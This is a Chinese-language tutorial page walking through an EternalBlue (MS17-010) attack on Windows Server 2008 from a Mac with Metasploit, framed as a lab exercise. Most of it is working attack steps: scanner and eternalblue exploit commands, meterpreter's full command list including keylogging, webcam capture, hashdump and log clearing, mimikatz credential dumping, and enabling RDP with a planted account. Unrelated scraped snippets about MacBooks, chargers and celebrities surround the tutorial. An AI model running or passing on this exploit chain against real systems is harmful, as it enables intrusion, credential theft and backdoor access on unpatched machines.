<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
準備一個Server2008,通過
Metasploit
獲取system存取許可權,進入meterpreter
互動介面。
通過shell
命令,連通目標機器的cmd,檢視目標系統資訊。
然後通過mimikatz
檢視系統使用者。
最後通過run enable_rdp
開啟控制機遠端桌面並建立使用者。
版本號 | 描述 | |
---|---|---|
MacOS(攻擊機器) | 11.5 | |
Windows(目標機器) | Server 2008 R2 x64 SP1 | |
Metasploit | 6.2.15-dev-1b985447c5dccba9be98ed7cef60eecf487b9ec5 | |
Microsoft_Remote_Desktop | 10.7.9 |
SMB(Server Message Block)
又稱網路檔案共用系統(Common Internet File System,縮寫為CIFS)
,一種應用層網路傳輸協定,主要功能是使網路上的機器能夠共用計算機檔案、印表機、串列埠和通訊等資源。它也提供經認證的行程間通訊機能。
永恆之藍”(Eternalblue)漏洞編號MS17-010 洩露自
美國國家安全域性(NSA)
駭客工具包
該漏洞利用工具針對TCP 445埠(Server Message Block/SMB)的檔案分享協定進行攻擊,可以獲取系統最高許可權system
漏洞影響:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0等
常用命令
show exploits – 檢視所有可用的滲透攻擊程式程式碼 show auxiliary – 檢視所有可用的輔助攻擊工具 show options – 檢視該模組所有可用選項 show payloads – 檢視該模組適用的所有載荷程式碼 show targets – 檢視該模組適用的攻擊目標型別 search – 根據關鍵字搜尋某模組 info – 顯示某模組的詳細資訊 use – 進入使用某滲透攻擊模組 back – 回退 set/unset – 設定/禁用模組中的某個引數 setg/unsetg – 設定/禁用適用於所有模組的全域性引數 save – 將當前設定值儲存下來,以便下次啟動MSF終端時仍可使用
meterpreter 是一個高階的,動態的,可拓展的Payload,出現meterpreter 我們就有了shell,可以執行非常多的命令,去操控遠端裝置。
執行命令:?或者help,顯示出可以執行的全部命令。
我們會用到upload
、run
等命令。
Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pivot Manage pivot listeners pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session ssl_verify Modify the SSL certificate verification setting transport Manage the transport mechanisms use Deprecated alias for "load" uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcat Read the contents of a local file to the screen lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyboard_send Send keystrokes keyevent Send key events keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes mouse Send mouse events screenshare Watch the remote user desktop in real time screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play play a waveform audio file (.wav) on the target system Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes
系統下載地址:https://msdn.itellyou.cn/
安裝:略~~~
下載安裝:
【可忽略】官網地址:https://www.metasploit.com/download
【可忽略】通過官網,只能存取到github的wiki頁面,wiki頁面又讓跳轉到官網的幫助檔案頁面:https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
幫助頁面中,我們可以看到支援各種平臺,其中Mac平臺是通過https://osx.metasploit.com/metasploitframework-latest.pkg
下載,直接安裝即可。
初始化、執行:
# 切換到工作目錄 cd /opt/metasploit-framework/bin/ # 一定要這麼做,否則連線的資料庫一定有問題。 ./msfdb init # 執行Metasploit開控臺(執行一次會將路徑設定到環境變數中,以後就可以直接存取該目錄中所有命令了) ./msfconsole
通過App Store
是無法搜尋到Microsoft Remote Desktop
的;通過https://apps.apple.com/tw/app/microsoft-remote-desktop/id1295203466頁面跳轉到App Store,會提示地區尚不提供此App
。
這裡,我們通過該地址直接下載https://mac.softpedia.com/get/Utilities/Microsoft-Remote-Desktop-Connection.shtml,下載的檔名為Microsoft_Remote_Desktop_10.7.9_installer.pkg
,雙擊即可安裝。
下面兩個下載地址需要登入,有點麻煩
玩轉蘋果下載:https://www.ifunmac.com/?s=Microsoft+Remote+Desktop+for+Mac&x=0&y=0未來Mac下載: https://mac.orsoon.com/search/Microsoft%20Remote%20Desktop%20for%20Ma_mac_1.html
通過Metasploit,獲取靶機shell 搜尋17-010
相關漏洞外掛
msf6 > search 17-010
# 選中外掛 use auxiliary/scanner/smb/smb_ms17_010 # 設定目錄機器,單個ip驗證(虛擬機器器中的Server2008) set RHOSTS 192.168.1.216 # 開始執行漏洞掃描 run
效果如下:
ps:show options
是顯示這個外掛相關的引數,在Required這一欄下面是yes的表示必填引數。
ps:
引數RHOSTS
和THREADS
:
# RHOSTS這個引數可以設定一個目標網段,進行掃描測試 set RHOSTS 192.168.29.1/24 # 設定掃描執行緒,外掛預設是1,這裡設定為20: set THREADS 20
exploit獲取shell
使用exploit模組來進行攻擊測試
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.1 set THREADS 10 run
效果如下:
執行命令shell
即可進入cmd命令列:
ps:
在windows命令列輸入 chcp 65001 解決中文亂碼
# 載入mimikatz load mimikatz # 讀取記憶體中存放的賬號密碼 creds_wdigest
效果如下:
# 1,啟動遠端桌面(通過爆破出來的密碼登入) meterpreter > run post/windows/manage/enable_rdp # 2,建立一個新使用者來遠端連線 windows 桌面 meterpreter > run post/windows/manage/enable_rdp username=root password=root@toor.com
通過Microsoft Remote Desktop遠端連線Server2008
ps:
kali連線windows桌面rdesktop 192.168.1.216
mac下安裝Metasploit https://www.kali.org/get-kali/
到此這篇關於永恆之藍實戰教學 Mac通過Metasploit攻擊Server2008的文章就介紹到這了,更多相關Metasploit攻擊Server2008內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45